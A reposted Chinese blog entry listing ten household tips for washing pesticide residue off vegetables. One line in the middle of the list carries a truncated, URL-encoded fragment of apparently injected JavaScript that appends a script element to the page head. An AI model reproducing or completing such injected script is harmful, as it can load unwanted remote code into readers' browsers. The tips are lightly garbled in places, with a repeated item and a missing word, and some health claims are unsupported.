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清茶一杯

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【引用】生活小常识  

2010-12-17 09:03:59|  分类: 默认分类 |  标签: |举报 |字号 订阅

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原文地址:生活小常识    原文作者:憨兵

             蔬菜去毒小巧门:洗菜时,最好先放在水盆中泡洗,再在水龙头下冲。

                       1、不合时令:提早上市的菜,因与气候不合,往往施肥用大量农药,要多洗几遍。

                       2、清洗蔬菜最好用清水。施用脂溶性农药的蔬菜用盐水反而不易洗净。

                       3、蔬菜不可先切后洗,以防营养流失。

                       4、蔬菜最好不用生吃。如果一定要生吃,应多几遍。

                        5、烫菜比煮菜好。烫菜部分农药会随水汽蒸发。

                        6、洗菜时,最好先放在水盆中泡洗,再在水龙头下冲。

                         7、包心菜、大白菜应去外围的叶片,再单片冲洗。

生活小常识 - 憨兵 - 憨兵的博客cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A"<                          8、鸡毛菜、小白菜应先将根切除,直立冲洗。

                          9、苦瓜、小黄瓜如不去皮应用软毛刷刷洗。   

                         10、豌豆、刀豆、韭菜花和小黄瓜等,由于采收期长,为了预防未成熟部分遭受虫害,

                                          农药洒得多,必须多洗几遍。

                                                                                                  [摘自健康报]

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